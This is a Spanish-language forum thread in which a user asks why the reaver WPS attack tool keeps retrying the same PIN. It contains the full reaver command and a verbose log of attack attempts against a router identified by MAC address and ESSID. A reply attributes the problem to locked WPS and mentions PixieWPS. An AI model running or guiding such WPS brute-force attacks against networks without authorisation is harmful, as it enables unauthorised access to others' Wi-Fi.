Problemas con reaver

Iniciado por JVBS, 15 Junio 2020, 00:26 AM

0 Miembros y 1 Visitante están viendo este tema.

JVBS

Saludos, soy nuevo en esto de reaver.

Ejecute el siguiente comando:

reaver -i wlan0mon -b 34:0A:98:XX:XX:XX -c 10 -vv

De ahi todo "funciono" bien, o eso creo:

Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching wlan0mon to channel 10
[+] Waiting for beacon from 34:0A:98:A8:3E:F4
[+] Received beacon from 34:0A:98:A8:3E:F4
[+] Vendor: Broadcom
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with 34:0A:98:A8:3E:F4 (ESSID: CNTFIBRA_FLORES)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with 34:0A:98:A8:3E:F4 (ESSID: CNTFIBRA_FLORES)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with 34:0A:98:A8:3E:F4 (ESSID: CNTFIBRA_FLORES)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with 34:0A:98:A8:3E:F4 (ESSID: CNTFIBRA_FLORES)
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred


Uno de los problemas que veo es que siempre intenta con el mismo PIN (12345670), es esto normal? debería intentar con varios PINes no es así?

Por otra parte, después de intentar con un PIN se imprimen los siguientes mensajes varias veces (como se habrán dado cuenta...):


[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request



Y después de que se imprimen dichos mensajes, intenta con el mismo PIN otra ves, y así sucesivamente. ¿Que esta pasando?.

De antemano gracias por su ayuda.


JVBS


josevi88

No prueba los pines , no hay mas que el WPS está "aparentemente" activo , pero realmente no es asi o está bloqueado. cuando el WPS está activo , reaver se encarga de probar una serie de pines generales o especificos con PixieWPS , entre otros, hasta que te da un resultado.